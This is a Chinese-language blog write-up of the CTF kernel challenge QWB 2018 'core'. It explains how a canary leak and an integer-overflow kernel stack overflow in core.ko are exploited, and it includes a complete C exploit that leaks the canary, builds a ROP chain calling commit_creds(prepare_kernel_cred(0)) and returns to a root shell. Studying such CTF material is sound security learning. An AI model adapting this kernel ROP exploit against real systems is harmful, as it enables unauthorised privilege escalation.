kernel pwn首杀——强网杯2018 core

kernel pwn首杀 | kernel ROP | 强网杯2018 pwn

前言

光说不练瞎把式,看了那么多资料,还是得实战打一打。

nnd,低头一看时间,现在凌晨3:08,得了,写写简要过程睡觉了。

有很多地方其实还没弄明白,而且这次只是做了一个入门题,还是只打了本地。对于怎么传远程,怎么用gdb调试,都还没有涉猎,等睡醒再说。

学习链接

放几个链接,基础知识我就不讲了(也讲不明白,得跟大佬学...)

Linux Kernel I:Basic Knowledge

Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF

Kernel Pwn 入门 (1) (这个的exp不知道为啥我这里打不通)

kernel-pwn学习(3)--ret2user&&kernel ROP&&QWB2018-core

简要过程

在start.sh里面看见这里没开别的,只开了KASLR,而且init.sh把内核函数的地址cat到了另一个文件/tmp/kallsyms里面。所以我们可以用fscanf或者别的什么东西给把这个内核的符号表读出来,算出来内核地址的基址。

core.ko,在这个LKM加载进内核时执行init_module,跑了一个proc_create开了一个core进程,程序可以open这个/proc/core文件后,用ioctl函数通过这个进程文件的文件描述符fd和这个模块通信。

write到这个fd的时候可以将write的内容写进内核空间,而core_copy_func是拷贝内核空间的东西到内核的栈上,core_copy_func这个函数里面有个整数溢出的洞,能造成内核栈溢出。

off这个偏移量可以设置,core_read这个函数可以将内核空间的数据拷贝给用户空间,这个拷贝的起始地址可以通过off来进行偏转,可以泄露canary。

思路:读出来符号表算出来基址并且得到commit_creds和prepare_kernel_cred的地址,同时用ropper找到含有swapgs和iretq指令的gadget。利用ioctl控制off为0x40,再用ioctl把canary泄露出来。然后构造好ROP链直接把返回地址设为用户态中的一段汇编指令(实现commit_creds(prepare_kernel_cred(0))进行提权),并且接下来用swapgs和iretq稳稳地返回用户态去起一个system("/bin/sh")就行了

EXP:

注意ROP[12]空了出来,因为popfq要多pop一次,要预留空间

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>

#define CHANGE_OFF 0x6677889C
#define COPY_TO_USER 0x6677889B
#define CORE_COPY_FUNC 0x6677889A

#define raw_vmlinux_base 0xffffffff81000000;

long tester;
unsigned long long commit_creds, prepare_kernel_cred, startup_64;

size_t user_cs, user_ss, user_rflags, user_sp;

//0xffffffff81a012da: swapgs; popfq; ret;
unsigned long long swapgs_popfq_ret=0xffffffff81a012da-raw_vmlinux_base;
//0xffffffff81050ac2: iretq; ret;
unsigned long long iretq_ret=0xffffffff81050ac2-raw_vmlinux_base;



int readsym();
void saveStatus();
void backdoor();
int getRoot();

int main(){
    printf("\033[33m\033[1m[x]Start pwn!\n\n\033[0m");

    saveStatus();
    readsym();

    int fd=open("/proc/core",2);
    ioctl(fd,CHANGE_OFF,0X40);
    
    unsigned long long canary;
    ioctl(fd,COPY_TO_USER,&canary);
    printf("\033[33m\033[1m[x] %-20s\t0x%llx\n\033[0m","Leak canary:",canary);
    

    swapgs_popfq_ret+=startup_64;
    iretq_ret+=startup_64;

    unsigned long long ROP[19]={0};
    ROP[8]=canary;
    ROP[10]=(unsigned long long)getRoot;
    ROP[11]=swapgs_popfq_ret;
    ROP[12]=0;      //flag
    ROP[13]=iretq_ret;
    ROP[14]=(unsigned long long)backdoor;
    ROP[15]=user_cs;
    ROP[16]=user_rflags;
    ROP[17]=user_sp;
    ROP[18]=user_ss;

    write(fd,(char*)ROP,sizeof(ROP));

    ioctl(fd,CORE_COPY_FUNC,0xffffffff00000000+sizeof(ROP));

    return 0;
}

void backdoor(){
    system("/bin/sh");
}

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int getRoot(){
    __asm__(
    "mov rdi, 0;"
    "mov rax, prepare_kernel_cred;"
    "call rax;"
    "mov rdi, rax;"
    "mov rax, commit_creds;"
    "call rax;"
    );
}

int readsym(){
    printf("\033[33m\033[1m[x] Try to read symbols\n\033[0m");
    
    FILE * sym_file=fopen("/tmp/kallsyms","r");
    if(sym_file==NULL)
    {
        printf("\033[31m\033[1m[x] ERROR: cannot open file \"/tmp/kallsyms\n\033[0m");
        exit(0);
    }

    unsigned long long addr=0;
    char name[0x100]={0};
    char type[0x10]={0};

    while(fscanf(sym_file,"%llx%s%s",&addr,type,name)==3){
        if(commit_creds && prepare_kernel_cred && startup_64)
            break;
        else if(!strcmp(name,"commit_creds"))
            commit_creds=addr;
        else if(!strcmp(name,"prepare_kernel_cred"))
            prepare_kernel_cred=addr;
        else if(!strcmp(name,"startup_64"))
            startup_64=addr;
    }

    if(commit_creds==0)
        printf("\033[31m\033[1m[x] ERROR: cannot find commit_creds\n\033[0m");
    else 
        printf("\033[32m\033[1m[x] %-20s\t0x%llx\n","commit_cred:",commit_creds);

    if(prepare_kernel_cred==0)
        printf("\033[31m\033[1m[x] ERROR: cannot find prepare_kernel_cred\n\033[0m");
    else
        printf("\033[32m\033[1m[x] %-20s\t0x%llx\n","prepare_kernel_cred:",prepare_kernel_cred);

    if(startup_64==0)
        printf("\033[31m\033[1m[x] ERROR: cannot find start_up64\n\033[0m");
    else
        printf("\033[32m\033[1m[x] %-20s\t0x%llx\n","startup_64:",startup_64);

    printf("\033[33m\033[1m[x]Read function finished!\n\n\033[0m");

    return 0;
}

提权后,之前shell的$会因为成功提权而变成#号。

写在最后

艹,天快亮了...

posted @ 2023-03-19 03:34  Jmp·Cliff  阅读(204)  评论(0编辑  收藏  举报